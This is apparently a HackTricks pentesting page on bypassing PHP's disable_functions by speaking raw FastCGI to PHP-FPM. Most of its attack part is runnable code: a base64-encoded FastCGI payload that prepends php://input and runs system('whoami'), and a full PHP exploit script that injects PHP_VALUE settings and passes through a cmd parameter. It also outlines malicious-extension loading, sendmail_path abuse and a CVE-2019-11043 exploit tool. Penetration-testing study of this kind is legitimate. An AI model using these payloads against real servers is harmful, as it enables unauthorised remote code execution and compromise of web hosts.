disable-functions-bypass-php-fpm-fastcgi.md (23065B)
1 --- 2 title: "disablefunctions bypass - PHP-FPM/FastCGI" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # `disable_functions` bypass - PHP-FPM/FastCGI 14 15 ## PHP-FPM 16 17 **PHP-FPM** is PHP's FastCGI Process Manager. A master process manages pools of workers, while a web server sends PHP-script requests to the service over FastCGI. A pool can listen on a TCP address or a Unix socket. 18 19 PHP-FPM commonly runs on the same host as the web server, especially when using a Unix socket, but a TCP listener can be on another host. An available worker executes the selected PHP script, returns the result to the web server, and becomes available for another request. 20 21 ## But what is CGI and FastCGI? 22 23 ### CGI 24 25 Static pages and assets are commonly stored in a public directory such as `/home/user/public_html`. **When a browser requests static content, the server resolves and sends the requested file.** 26 27 With classic **CGI**, the server maps configured scripts—often under a `cgi-bin` directory—to executable programs instead of returning their source. The server passes request metadata and input to the program; after processing, the program returns output that the server forwards to the HTTP client. 28 29 For example, when the CGI script [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. (explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html))<sup>[[1]](#references)</sup> 30 31 ### FastCGI 32 33 [FastCGI](https://en.wikipedia.org/wiki/FastCGI) preserves CGI's request/response role while keeping application processes alive across requests instead of starting a new process for each request. 34 35 Open Market introduced **FastCGI** to address the process-creation and scalability costs of traditional CGI.<sup>[[1]](#references)</sup> 36 37 ## disable_functions bypass 38 39 Direct access to a PHP-FPM listener can inject FastCGI parameters, select executable scripts, and sometimes load attacker-controlled PHP configuration or extensions. Request-level `PHP_VALUE` can relax some settings, but it does **not** reliably unset `disable_functions`; the techniques below distinguish those cases.<sup>[[2]](#references)[[3]](#references)</sup> 40 41 ### Practical reality check 42 43 Before trying any of the payloads below, keep these points in mind: 44 45 - You usually need a way to **speak raw FastCGI** to PHP-FPM: direct access to `127.0.0.1:9000`, a readable/writable Unix socket such as `/var/run/php/php-fpm.sock`, an SSRF primitive that supports `gopher://`, or a proxy misconfiguration that lets you reach the backend. 46 - A normal HTTP request to the application is **not enough by itself**. The interesting knobs here are FastCGI parameters such as `PHP_VALUE` and `PHP_ADMIN_VALUE`. 47 - You still need a valid `SCRIPT_FILENAME` that the target pool can execute. 48 49 If you first need to enumerate a reachable FastCGI listener or build raw FastCGI requests, check: 50 51 [9000 Pentesting Fastcgi](/hacktricks/network-services-pentesting/9000-pentesting-fastcgi) 52 53 ### Via Gopherus 54 55 > [!CAUTION] 56 > Use Gopherus here mainly to reach the FastCGI listener and inject FastCGI parameters. Do **not** expect `PHP_VALUE` with `disable_functions =` to reliably re-enable disabled functions in modern PHP-FPM. 57 58 Using [Gopherus](https://github.com/tarunkant/Gopherus), you can generate a request for a reachable FastCGI listener. Command execution still depends on a usable script, directives, and an available execution primitive: 59 60  61 62 Decode the URL-encoded FastCGI bytes and Base64-encode the raw result—for example, with CyberChef's `URL Decode` followed by `To Base64`. Paste that Base64 into the following PHP sender: 63 64 ```php 65 <?php 66 $fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA")); 67 ``` 68 69 After this script is uploaded and requested, it sends the decoded FastCGI record to PHP-FPM. In practice, this is useful for setting request-level directives such as `auto_prepend_file` and often `open_basedir`, but **not** for truly clearing `disable_functions`. 70 71 ### PHP exploit 72 73 > [!CAUTION] 74 > I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that `phpinfo()` from FastCGI execution indicated that `disable_functions` was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)), or twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.** 75 76 Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).<sup>[[4]](#references)</sup> 77 78 ```php 79 <?php 80 /** 81 * Note : Code is released under the GNU LGPL 82 * 83 * Please do not change the header of this file 84 * 85 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU 86 * Lesser General Public License as published by the Free Software Foundation; either version 2 of 87 * the License, or (at your option) any later version. 88 * 89 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; 90 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 91 * 92 * See the GNU Lesser General Public License for more details. 93 */ 94 /** 95 * Handles communication with a FastCGI application 96 * 97 * @author Pierrick Charron <pierrick@webstart.fr> 98 * @version 1.0 99 */ 100 class FCGIClient 101 { 102 const VERSION_1 = 1; 103 const BEGIN_REQUEST = 1; 104 const ABORT_REQUEST = 2; 105 const END_REQUEST = 3; 106 const PARAMS = 4; 107 const STDIN = 5; 108 const STDOUT = 6; 109 const STDERR = 7; 110 const DATA = 8; 111 const GET_VALUES = 9; 112 const GET_VALUES_RESULT = 10; 113 const UNKNOWN_TYPE = 11; 114 const MAXTYPE = self::UNKNOWN_TYPE; 115 const RESPONDER = 1; 116 const AUTHORIZER = 2; 117 const FILTER = 3; 118 const REQUEST_COMPLETE = 0; 119 const CANT_MPX_CONN = 1; 120 const OVERLOADED = 2; 121 const UNKNOWN_ROLE = 3; 122 const MAX_CONNS = 'MAX_CONNS'; 123 const MAX_REQS = 'MAX_REQS'; 124 const MPXS_CONNS = 'MPXS_CONNS'; 125 const HEADER_LEN = 8; 126 /** 127 * Socket 128 * @var Resource 129 */ 130 private $_sock = null; 131 /** 132 * Host 133 * @var String 134 */ 135 private $_host = null; 136 /** 137 * Port 138 * @var Integer 139 */ 140 private $_port = null; 141 /** 142 * Keep Alive 143 * @var Boolean 144 */ 145 private $_keepAlive = false; 146 /** 147 * Constructor 148 * 149 * @param String $host Host of the FastCGI application 150 * @param Integer $port Port of the FastCGI application 151 */ 152 public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket 153 { 154 $this->_host = $host; 155 $this->_port = $port; 156 } 157 /** 158 * Define whether or not the FastCGI application should keep the connection 159 * alive at the end of a request 160 * 161 * @param Boolean $b true if the connection should stay alive, false otherwise 162 */ 163 public function setKeepAlive($b) 164 { 165 $this->_keepAlive = (boolean)$b; 166 if (!$this->_keepAlive && $this->_sock) { 167 fclose($this->_sock); 168 } 169 } 170 /** 171 * Get the keep alive status 172 * 173 * @return Boolean true if the connection should stay alive, false otherwise 174 */ 175 public function getKeepAlive() 176 { 177 return $this->_keepAlive; 178 } 179 /** 180 * Create a connection to the FastCGI application 181 */ 182 private function connect() 183 { 184 if (!$this->_sock) { 185 //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); 186 $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); 187 if (!$this->_sock) { 188 throw new Exception('Unable to connect to FastCGI application'); 189 } 190 } 191 } 192 /** 193 * Build a FastCGI packet 194 * 195 * @param Integer $type Type of the packet 196 * @param String $content Content of the packet 197 * @param Integer $requestId RequestId 198 */ 199 private function buildPacket($type, $content, $requestId = 1) 200 { 201 $clen = strlen($content); 202 return chr(self::VERSION_1) /* version */ 203 . chr($type) /* type */ 204 . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ 205 . chr($requestId & 0xFF) /* requestIdB0 */ 206 . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ 207 . chr($clen & 0xFF) /* contentLengthB0 */ 208 . chr(0) /* paddingLength */ 209 . chr(0) /* reserved */ 210 . $content; /* content */ 211 } 212 /** 213 * Build an FastCGI Name value pair 214 * 215 * @param String $name Name 216 * @param String $value Value 217 * @return String FastCGI Name value pair 218 */ 219 private function buildNvpair($name, $value) 220 { 221 $nlen = strlen($name); 222 $vlen = strlen($value); 223 if ($nlen < 128) { 224 /* nameLengthB0 */ 225 $nvpair = chr($nlen); 226 } else { 227 /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ 228 $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); 229 } 230 if ($vlen < 128) { 231 /* valueLengthB0 */ 232 $nvpair .= chr($vlen); 233 } else { 234 /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ 235 $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); 236 } 237 /* nameData & valueData */ 238 return $nvpair . $name . $value; 239 } 240 /** 241 * Read a set of FastCGI Name value pairs 242 * 243 * @param String $data Data containing the set of FastCGI NVPair 244 * @return array of NVPair 245 */ 246 private function readNvpair($data, $length = null) 247 { 248 $array = array(); 249 if ($length === null) { 250 $length = strlen($data); 251 } 252 $p = 0; 253 while ($p != $length) { 254 $nlen = ord($data{$p++}); 255 if ($nlen >= 128) { 256 $nlen = ($nlen & 0x7F << 24); 257 $nlen |= (ord($data{$p++}) << 16); 258 $nlen |= (ord($data{$p++}) << 8); 259 $nlen |= (ord($data{$p++})); 260 } 261 $vlen = ord($data{$p++}); 262 if ($vlen >= 128) { 263 $vlen = ($nlen & 0x7F << 24); 264 $vlen |= (ord($data{$p++}) << 16); 265 $vlen |= (ord($data{$p++}) << 8); 266 $vlen |= (ord($data{$p++})); 267 } 268 $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); 269 $p += ($nlen + $vlen); 270 } 271 return $array; 272 } 273 /** 274 * Decode a FastCGI Packet 275 * 276 * @param String $data String containing all the packet 277 * @return array 278 */ 279 private function decodePacketHeader($data) 280 { 281 $ret = array(); 282 $ret['version'] = ord($data{0}); 283 $ret['type'] = ord($data{1}); 284 $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); 285 $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); 286 $ret['paddingLength'] = ord($data{6}); 287 $ret['reserved'] = ord($data{7}); 288 return $ret; 289 } 290 /** 291 * Read a FastCGI Packet 292 * 293 * @return array 294 */ 295 private function readPacket() 296 { 297 if ($packet = fread($this->_sock, self::HEADER_LEN)) { 298 $resp = $this->decodePacketHeader($packet); 299 $resp['content'] = ''; 300 if ($resp['contentLength']) { 301 $len = $resp['contentLength']; 302 while ($len && $buf=fread($this->_sock, $len)) { 303 $len -= strlen($buf); 304 $resp['content'] .= $buf; 305 } 306 } 307 if ($resp['paddingLength']) { 308 $buf=fread($this->_sock, $resp['paddingLength']); 309 } 310 return $resp; 311 } else { 312 return false; 313 } 314 } 315 /** 316 * Get Informations on the FastCGI application 317 * 318 * @param array $requestedInfo information to retrieve 319 * @return array 320 */ 321 public function getValues(array $requestedInfo) 322 { 323 $this->connect(); 324 $request = ''; 325 foreach ($requestedInfo as $info) { 326 $request .= $this->buildNvpair($info, ''); 327 } 328 fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); 329 $resp = $this->readPacket(); 330 if ($resp['type'] == self::GET_VALUES_RESULT) { 331 return $this->readNvpair($resp['content'], $resp['length']); 332 } else { 333 throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); 334 } 335 } 336 /** 337 * Execute a request to the FastCGI application 338 * 339 * @param array $params Array of parameters 340 * @param String $stdin Content 341 * @return String 342 */ 343 public function request(array $params, $stdin) 344 { 345 $response = ''; 346 $this->connect(); 347 $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); 348 $paramsRequest = ''; 349 foreach ($params as $key => $value) { 350 $paramsRequest .= $this->buildNvpair($key, $value); 351 } 352 if ($paramsRequest) { 353 $request .= $this->buildPacket(self::PARAMS, $paramsRequest); 354 } 355 $request .= $this->buildPacket(self::PARAMS, ''); 356 if ($stdin) { 357 $request .= $this->buildPacket(self::STDIN, $stdin); 358 } 359 $request .= $this->buildPacket(self::STDIN, ''); 360 fwrite($this->_sock, $request); 361 do { 362 $resp = $this->readPacket(); 363 if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { 364 $response .= $resp['content']; 365 } 366 } while ($resp && $resp['type'] != self::END_REQUEST); 367 var_dump($resp); 368 if (!is_array($resp)) { 369 throw new Exception('Bad request'); 370 } 371 switch (ord($resp['content']{4})) { 372 case self::CANT_MPX_CONN: 373 throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); 374 break; 375 case self::OVERLOADED: 376 throw new Exception('New request rejected; too busy [OVERLOADED]'); 377 break; 378 case self::UNKNOWN_ROLE: 379 throw new Exception('Role value not known [UNKNOWN_ROLE]'); 380 break; 381 case self::REQUEST_COMPLETE: 382 return $response; 383 } 384 } 385 } 386 ?> 387 <?php 388 // real exploit start here 389 if (!isset($_REQUEST['cmd'])) { 390 die("Check your input\n"); 391 } 392 if (!isset($_REQUEST['filepath'])) { 393 $filepath = __FILE__; 394 }else{ 395 $filepath = $_REQUEST['filepath']; 396 } 397 $req = '/'.basename($filepath); 398 $uri = $req .'?'.'command='.$_REQUEST['cmd']; 399 $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); 400 $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything 401 $php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; 402 //$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; 403 $params = array( 404 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 405 'REQUEST_METHOD' => 'POST', 406 'SCRIPT_FILENAME' => $filepath, 407 'SCRIPT_NAME' => $req, 408 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], 409 'REQUEST_URI' => $uri, 410 'DOCUMENT_URI' => $req, 411 #'DOCUMENT_ROOT' => '/', 412 'PHP_VALUE' => $php_value, 413 'SERVER_SOFTWARE' => '80sec/wofeiwo', 414 'REMOTE_ADDR' => '127.0.0.1', 415 'REMOTE_PORT' => '9985', 416 'SERVER_ADDR' => '127.0.0.1', 417 'SERVER_PORT' => '80', 418 'SERVER_NAME' => 'localhost', 419 'SERVER_PROTOCOL' => 'HTTP/1.1', 420 'CONTENT_LENGTH' => strlen($code) 421 ); 422 // print_r($_REQUEST); 423 // print_r($params); 424 //echo "Call: $uri\n\n"; 425 echo $client->request($params, $code)."\n"; 426 ?> 427 ``` 428 429 Using the previous function you will see that the function **`system`** is **still disabled** but **`phpinfo()`** shows a **`disable_functions`** **empty**: 430 431  432 433  434 435 This matches the PHP documentation much better than the original guess: 436 437 - `disable_functions` is an **`INI_SYSTEM`** directive, so it must come from the main PHP configuration context. 438 - PHP-FPM documents that `php_value` / `php_flag` will **not** overwrite previously defined `disable_functions` / `disable_classes` values.<sup>[[2]](#references)</sup> 439 - `phpinfo()` can be misleading here. There is even an old PHP-FPM bug report showing mismatches between what `phpinfo()` displays and what is actually enforced for `disable_functions`. 440 441 So, for this technique, think of `PHP_VALUE` as the primitive to relax `open_basedir` and to inject `auto_prepend_file`, but **not** as a reliable way to unset `disable_functions`. 442 443 ### [**FuckFastCGI**](https://github.com/w181496/FuckFastcgi) 444 445 This PHP script speaks FastCGI and can bypass `open_basedir` or achieve code execution despite `disable_functions` by loading a malicious extension when its prerequisites are met.\ 446 The original is at [w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi), with a modified version at [BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi). 447 448 You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using `PHP_VALUE`, it tries to **load an external PHP module** using `extension_dir` and `extension` inside `PHP_ADMIN_VALUE`. That is the important distinction: if you can directly talk to PHP-FPM, forcing it to load an attacker-controlled extension is usually the path that turns FastCGI access into real code execution even when `system`, `exec`, `shell_exec`, and friends remain disabled.<sup>[[3]](#references)</sup>\ 449 **NOTE1**: You probably will need to **recompile** the extension with the **same PHP version/build that the server** is using (you can check it inside the output of phpinfo): 450 451  452 453 > [!CAUTION] 454 > **NOTE2**: In real targets you need more than socket access: 455 > - a writable location to place the malicious `.so` 456 > - an extension compiled for the target PHP ABI 457 > - a request path where the pool actually executes your chosen `SCRIPT_FILENAME` 458 > 459 > The BorelEnzo fork also notes a practical PHP 8 detail: old sample extensions using `TSRMLS_CC` need to be adjusted for PHP 8+. 460 461 The improved fork also contains a **pure-PHP variant** that abuses `sendmail_path` instead of loading a custom extension. This removes the need to upload a `.so`, but it still depends on a useful primitive such as `mail()` being callable and a local MTA path being available.<sup>[[3]](#references)</sup> 462 463 ### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043) 464 465 You can exploit this vulnerability with [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) and test it using this Docker environment: [Vulhub CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\ 466 You can also find an analysis of the vulnerability [**here**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.** 467 468 ## References 469 470 - [1] [What is CGI and FastCGI? (Superhosting.bg help)](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html) 471 - [2] [PHP manual: FPM configuration (`php_value` / `php_admin_value` and the `disable_functions` note)](https://www.php.net/manual/en/install.fpm.configuration.php) 472 - [3] [Borel Enzo: FuckFastCGI made simpler](https://borelenzo.github.io/stuff/2023/02/05/php-ffcgi.html) 473 - [4] [0CTF/TCTF 2019 Quals writeup - wallbreaker (easy)](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy)